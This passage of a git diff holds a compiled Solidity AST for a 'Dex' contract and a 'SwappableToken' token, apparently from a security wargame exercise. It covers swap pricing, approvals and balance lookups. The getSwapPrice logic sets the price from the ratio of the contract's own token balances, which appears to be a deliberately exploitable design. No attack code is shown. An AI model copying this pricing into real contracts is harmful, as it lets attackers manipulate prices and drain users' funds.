28,"src":"1317:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50732,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1309:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50731,"name":"address","nodeType":"ElementaryTypeName","src":"1309:7:67","typeDescriptions":{}}},"id":50734,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1309:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50728,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50719,"src":"1295:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50727,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1288:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1288:10:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1299:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1288:20:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50735,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1288:35:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1279:44:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":50737,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1278:46:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"arguments":[{"arguments":[{"id":50744,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1358:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50743,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1350:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50742,"name":"address","nodeType":"ElementaryTypeName","src":"1350:7:67","typeDescriptions":{}}},"id":50745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1350:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50739,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50717,"src":"1334:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50738,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1327:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50740,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1327:12:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1340:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1327:22:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50746,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1327:37:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1278:86:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":50748,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1277:88:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":50725,"id":50749,"nodeType":"Return","src":"1270:95:67"}]},"functionSelector":"bfd7e00d","implemented":true,"kind":"function","modifiers":[],"name":"getSwapPrice","nameLocation":"1175:12:67","parameters":{"id":50722,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50717,"mutability":"mutable","name":"from","nameLocation":"1196:4:67","nodeType":"VariableDeclaration","scope":50751,"src":"1188:12:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50716,"name":"address","nodeType":"ElementaryTypeName","src":"1188:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50719,"mutability":"mutable","name":"to","nameLocation":"1210:2:67","nodeType":"VariableDeclaration","scope":50751,"src":"1202:10:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50718,"name":"address","nodeType":"ElementaryTypeName","src":"1202:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50721,"mutability":"mutable","name":"amount","nameLocation":"1222:6:67","nodeType":"VariableDeclaration","scope":50751,"src":"1214:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50720,"name":"uint256","nodeType":"ElementaryTypeName","src":"1214:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1187:42:67"},"returnParameters":{"id":50725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50724,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50751,"src":"1251:7:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50723,"name":"uint256","nodeType":"ElementaryTypeName","src":"1251:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1250:9:67"},"scope":50797,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":50779,"nodeType":"FunctionDefinition","src":"1378:202:67","nodes":[],"body":{"id":50778,"nodeType":"Block","src":"1435:145:67","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":50762,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1476:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50763,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1480:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1476:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50764,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50753,"src":"1488:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50765,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50755,"src":"1497:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50759,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"1460:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50758,"name":"SwappableToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50853,"src":"1445:14:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableToken_$50853_$","typeString":"type(contract SwappableToken)"}},"id":50760,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1445:22:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50761,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1468:7:67","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":50852,"src":"1445:30:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":50766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1445:59:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50767,"nodeType":"ExpressionStatement","src":"1445:59:67"},{"expression":{"arguments":[{"expression":{"id":50772,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1545:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50773,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1549:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1545:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50774,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50753,"src":"1557:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50775,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50755,"src":"1566:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50769,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"1529:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50768,"name":"SwappableToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50853,"src":"1514:14:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableToken_$50853_$","typeString":"type(contract SwappableToken)"}},"id":50770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1514:22:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50771,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1537:7:67","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":50852,"src":"1514:30:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":50776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1514:59:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50777,"nodeType":"ExpressionStatement","src":"1514:59:67"}]},"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"1387:7:67","parameters":{"id":50756,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50753,"mutability":"mutable","name":"spender","nameLocation":"1403:7:67","nodeType":"VariableDeclaration","scope":50779,"src":"1395:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50752,"name":"address","nodeType":"ElementaryTypeName","src":"1395:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50755,"mutability":"mutable","name":"amount","nameLocation":"1420:6:67","nodeType":"VariableDeclaration","scope":50779,"src":"1412:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50754,"name":"uint256","nodeType":"ElementaryTypeName","src":"1412:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1394:33:67"},"returnParameters":{"id":50757,"nodeType":"ParameterList","parameters":[],"src":"1435:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50796,"nodeType":"FunctionDefinition","src":"1586:137:67","nodes":[],"body":{"id":50795,"nodeType":"Block","src":"1667:56:67","nodes":[],"statements":[{"expression":{"arguments":[{"id":50792,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50783,"src":"1708:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50789,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50781,"src":"1691:5:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50788,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1684:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1684:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1698:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1684:23:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1684:32:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":50787,"id":50794,"nodeType":"Return","src":"1677:39:67"}]},"functionSelector":"f7888aec","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1595:9:67","parameters":{"id":50784,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50781,"mutability":"mutable","name":"token","nameLocation":"1613:5:67","nodeType":"VariableDeclaration","scope":50796,"src":"1605:13:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50780,"name":"address","nodeType":"ElementaryTypeName","src":"1605:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50783,"mutability":"mutable","name":"account","nameLocation":"1628:7:67","nodeType":"VariableDeclaration","scope":50796,"src":"1620:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50782,"name":"address","nodeType":"ElementaryTypeName","src":"1620:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1604:32:67"},"returnParameters":{"id":50787,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50786,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50796,"src":"1658:7:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50785,"name":"uint256","nodeType":"ElementaryTypeName","src":"1658:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1657:9:67"},"scope":50797,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":50576,"name":"Ownable","nameLocations":["246:7:67"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"246:7:67"},"id":50577,"nodeType":"InheritanceSpecifier","src":"246:7:67"}],"canonicalName":"Dex","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50797,46700,48281],"name":"Dex","nameLocation":"239:3:67","scope":50854,"usedErrors":[],"usedEvents":[46601]},{"id":50853,"nodeType":"ContractDefinition","src":"1727:459:67","nodes":[{"id":50801,"nodeType":"VariableDeclaration","src":"1766:20:67","nodes":[],"constant":false,"mutability":"mutable","name":"_dex","nameLocation":"1782:4:67","scope":50853,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50800,"name":"address","nodeType":"ElementaryTypeName","src":"1766:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"private"},{"id":50827,"nodeType":"FunctionDefinition","src":"1793:207:67","nodes":[],"body":{"id":50826,"nodeType":"Block","src":"1923:77:67","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":50817,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1939:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50818,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1943:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1939:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50819,"name":"initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50809,"src":"1951:13:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":50816,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"1933:5:67","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":50820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1933:32:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50821,"nodeType":"ExpressionStatement","src":"1933:32:67"},{"expression":{"id":50824,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50822,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50801,"src":"1975:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50823,"name":"dexInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50803,"src":"1982:11:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1975:18:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50825,"nodeType":"ExpressionStatement","src":"1975:18:67"}]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":50812,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50805,"src":"1905:4:67","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":50813,"name":"symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50807,"src":"1911:6:67","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"id":50814,"kind":"baseConstructorSpecifier","modifierName":{"id":50811,"name":"ERC20","nameLocations":["1899:5:67"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1899:5:67"},"nodeType":"ModifierInvocation","src":"1899:19:67"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50810,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50803,"mutability":"mutable","name":"dexInstance","nameLocation":"1813:11:67","nodeType":"VariableDeclaration","scope":50827,"src":"1805:19:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50802,"name":"address","nodeType":"ElementaryTypeName","src":"1805:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50805,"mutability":"mutable","name":"name","nameLocation":"1840:4:67","nodeType":"VariableDeclaration","scope":50827,"src":"1826:18:67","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":50804,"name":"string","nodeType":"ElementaryTypeName","src":"1826:6:67","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":50807,"mutability":"mutable","name":"symbol","nameLocation":"1860:6:67","nodeType":"VariableDeclaration","scope":50827,"src":"1846:20:67","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":50806,"name":"string","nodeType":"ElementaryTypeName","src":"1846:6:67","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":50809,"mutability":"mutable","name":"initialSupply","nameLocation":"1876:13:67","nodeType":"VariableDeclaration","scope":50827,"src":"1868:21:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50808,"name":"uint256","nodeType":"ElementaryTypeName","src":"1868:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1804:86:67"},"returnParameters":{"id":50815,"nodeType":"ParameterList","parameters":[],"src":"1923:0:67"},"scope":50853,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50852,"nodeType":"FunctionDefinition","src":"2006:178:67","nodes":[],"body":{"id":50851,"nodeType":"Block","src":"2078:106:67","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50839,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50837,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50829,"src":"2096:5:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":50838,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50801,"src":"2105:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2096:13:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e76616c6964417070726f766572","id":50840,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2111:17:67","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""},"value":"InvalidApprover"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""}],"id":50836,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2088:7:67","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":50841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2088:41:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50842,"nodeType":"ExpressionStatement","src":"2088:41:67"},{"expression":{"arguments":[{"id":50846,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50829,"src":"2154:5:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50847,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50831,"src":"2161:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50848,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50833,"src":"2170:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":50843,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2139:5:67","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_SwappableToken_$50853_$","typeString":"type(contract super SwappableToken)"}},"id":50845,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2145:8:67","memberName":"_approve","nodeType":"MemberAccess","referencedDeclaration":47795,"src":"2139:14:67","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":50849,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2139:38:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50850,"nodeType":"ExpressionStatement","src":"2139:38:67"}]},"functionSelector":"e1f21c67","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"2015:7:67","parameters":{"id":50834,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50829,"mutability":"mutable","name":"owner","nameLocation":"2031:5:67","nodeType":"VariableDeclaration","scope":50852,"src":"2023:13:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50828,"name":"address","nodeType":"ElementaryTypeName","src":"2023:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50831,"mutability":"mutable","name":"spender","nameLocation":"2046:7:67","nodeType":"VariableDeclaration","scope":50852,"src":"2038:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50830,"name":"address","nodeType":"ElementaryTypeName","src":"2038:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50833,"mutability":"mutable","name":"amount","nameLocation":"2063:6:67","nodeType":"VariableDeclaration","scope":50852,"src":"2055:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50832,"name":"uint256","nodeType":"ElementaryTypeName","src":"2055:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2022:48:67"},"returnParameters":{"id":50835,"nodeType":"ParameterList","parameters":[],"src":"2078:0:67"},"scope":50853,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":50798,"name":"ERC20","nameLocations":["1754:5:67"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1754:5:67"},"id":50799,"nodeType":"InheritanceSpecifier","src":"1754:5:67"}],"canonicalName":"SwappableToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50853,47861,47964,47939,48281],"name":"SwappableToken","nameLocation":"1736:14:67","scope":50854,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":67} \ No newline at end of file diff --git a/contracts/out/Dex.t.sol/TestDex.json b/contracts/out/Dex.t.sol/TestDex.json new file mode 100644 index 000000000..59fdb067c --- /dev/null +++ 